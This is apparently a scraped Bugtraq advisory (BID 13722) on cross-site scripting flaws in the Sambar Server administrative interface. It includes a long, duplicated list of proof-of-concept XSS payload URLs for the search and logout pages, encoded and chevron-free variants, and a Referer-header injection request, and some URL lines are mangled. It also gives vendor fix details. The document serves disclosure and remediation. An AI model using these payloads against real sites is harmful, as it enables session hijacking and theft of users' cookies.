Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
BID:13722
Info
Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 13722 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 24 2005 12:00AM |
| Updated: | May 24 2005 12:00AM |
| Credit: | Discovery of this vulnerability credited to jamie fisher <[email protected]>. |
| Vulnerable: |
Sambar Server 6.1 beta 2 Sambar Server 6.1 beta Sambar Server 6.0.1 Sambar Server 6.0 Beta3 Sambar Server 6.0 Sambar Server 5.3 b4 Sambar Server 5.3 Sambar Server 5.2 b Sambar Server 5.2 Sambar Server 5.1 |
| Not Vulnerable: |
Sambar Server 6.2 p |
Discussion
Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
Sambar Server administrative interface does not adequately filter some HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the Web site running Sambar Server.
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the Web site running the vulnerable software.
Sambar Server administrative interface does not adequately filter some HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the Web site running Sambar Server.
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the Web site running the vulnerable software.
Exploit / POC
Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
No exploit is required. The following examples are available:
Standard XSS within the /search directory:
==========================================
1.">alert("XSS")&style=fancy&spage=10&query=Folder%name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=10&query=Folder%name
2.%22%27>&style=fancy&spage=10&query=Folder%name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=10&query=Folder%name
3.">alert("XSS")&style=fancy&spage=20&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=20&query=Folder%20name
4.%22%27>&style=fancy&spage=20&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=20&query=Folder%20name
5.">alert("XSS")&style=fancy&spage=30&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=30&query=Folder%20name
6.%22%27>&style=fancy&spage=30&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=30&query=Folder%20name
7.">alert("XSS")&style=fancy&spage=40&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=40&query=Folder%20name
8.%22%27>&style=fancy&spage=40&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=40&query=Folder%20name
9.">alert("XSS")&style=fancy&spage=50&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=50&query=Folder%20name
10.%22%27>&style=fancy&spage=50&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=50&query=Folder%20name
11.">alert("XSS")&style=fancy&spage=60&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=60&query=Folder%20name
12.%22%27>&style=fancy&spage=60&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=60&query=Folder%20name
Standard XSS within the /session directory:
===========================================
1.'>alert('XSS')http://www.example.com/session/logout?RCredirect=>'><script>alert('XSS')</script>
2.">alert("XSS")http://www.example.com/session/logout?RCredirect=>"><script>alert("XSS")</script>
3.%22%27>http://www.example.com/session/logout?RCredirect=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>HTML XSS within the /search directory:
======================================
1."'>&style=fancy&spage=10&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=10&query=Folder%20name
2."'>&style=fancy&spage=20&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=20&query=Folder%20name
3."'>&style=fancy&spage=30&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=30&query=Folder%20name
4."'>http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=40&query=Folder%20name
5."'>&style=fancy&spage=50&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=50&query=Folder%20name
6."'>&style=fancy&spage=60&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=60&query=Folder%20name
No chevron '<' '>' XSS within the /search directory:
====================================================
1.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=10&query=Folder%20name
2.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=20&query=Folder%20name
3.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=30&query=Folder%20name
4.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=40&query=Folder%20name
5.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=50&query=Folder%20name
6.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=60&query=Folder%20name
Escaping from HTML XSS within the /session directory:
====================================================
1.alert(%27XSS%27)http://www.example.com/session/logout?RCredirect=--><script>alert(%27XSS%27)</script>
Including XSS within referrer:
==============================
1.
GET /CheckingXssInReferer.html HTTP/1.0
Cookie: RCuid=SS1-1113767443-uh287LUVlBbVwpESKaZ29/hq0cDSVneAgWlracaqApQ=; RCslb=5; RCrelogin=false
Host: www.example.com
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('XSS')</script>
No exploit is required. The following examples are available:
Standard XSS within the /search directory:
==========================================
1.">alert("XSS")&style=fancy&spage=10&query=Folder%name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=10&query=Folder%name
2.%22%27>&style=fancy&spage=10&query=Folder%name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=10&query=Folder%name
3.">alert("XSS")&style=fancy&spage=20&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=20&query=Folder%20name
4.%22%27>&style=fancy&spage=20&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=20&query=Folder%20name
5.">alert("XSS")&style=fancy&spage=30&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=30&query=Folder%20name
6.%22%27>&style=fancy&spage=30&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=30&query=Folder%20name
7.">alert("XSS")&style=fancy&spage=40&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=40&query=Folder%20name
8.%22%27>&style=fancy&spage=40&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=40&query=Folder%20name
9.">alert("XSS")&style=fancy&spage=50&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=50&query=Folder%20name
10.%22%27>&style=fancy&spage=50&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=50&query=Folder%20name
11.">alert("XSS")&style=fancy&spage=60&query=Folder%20name'>http://www.example.com/search/results.stm?indexname=>"><script>alert("XSS")</script>&style=fancy&spage=60&query=Folder%20name
12.%22%27>&style=fancy&spage=60&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>&style=fancy&spage=60&query=Folder%20name
Standard XSS within the /session directory:
===========================================
1.'>alert('XSS')http://www.example.com/session/logout?RCredirect=>'><script>alert('XSS')</script>
2.">alert("XSS")http://www.example.com/session/logout?RCredirect=>"><script>alert("XSS")</script>
3.%22%27>http://www.example.com/session/logout?RCredirect=>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>HTML XSS within the /search directory:
======================================
1."'>&style=fancy&spage=10&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=10&query=Folder%20name
2."'>&style=fancy&spage=20&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=20&query=Folder%20name
3."'>&style=fancy&spage=30&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=30&query=Folder%20name
4."'>http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=40&query=Folder%20name
5."'>&style=fancy&spage=50&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=50&query=Folder%20name
6."'>&style=fancy&spage=60&query=Folder%20name">http://www.example.com/search/results.stm?indexname=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>&style=fancy&spage=60&query=Folder%20name
No chevron '<' '>' XSS within the /search directory:
====================================================
1.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=10&query=Folder%20name
2.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=20&query=Folder%20name
3.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=30&query=Folder%20name
4.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=40&query=Folder%20name
5.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=50&query=Folder%20name
6.http://www.example.com/search/results.stm?indexname=%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OA%3D%22&style=fancy&spage=60&query=Folder%20name
Escaping from HTML XSS within the /session directory:
====================================================
1.alert(%27XSS%27)http://www.example.com/session/logout?RCredirect=--><script>alert(%27XSS%27)</script>
Including XSS within referrer:
==============================
1.
GET /CheckingXssInReferer.html HTTP/1.0
Cookie: RCuid=SS1-1113767443-uh287LUVlBbVwpESKaZ29/hq0cDSVneAgWlracaqApQ=; RCslb=5; RCrelogin=false
Host: www.example.com
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('XSS')</script>
Solution / Fix
Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released an update to address these issues:
Sambar Server 5.1
Sambar Server 5.2 b
Sambar Server 5.2
Sambar Server 5.3 b4
Sambar Server 5.3
Sambar Server 6.0
Sambar Server 6.0 Beta3
Sambar Server 6.0.1
Sambar Server 6.1 beta
Sambar Server 6.1 beta 2
Solution:
The vendor has released an update to address these issues:
Sambar Server 5.1
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 5.2 b
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 5.2
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 5.3 b4
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 5.3
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 6.0
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 6.0 Beta3
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 6.0.1
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 6.1 beta
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
Sambar Server 6.1 beta 2
-
Sambar linux-production.tar.gz
http://www.sambar.com/dist/linux-production.tar.gz -
Sambar win32-production.tar.gz
http://www.sambar.com/dist/win32-production.tar.gz
References
Sambar Server Administrative Interface Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- Cross-Site Scripting Bug (Sambar)
- SAMBAR HomePage (SAMBAR)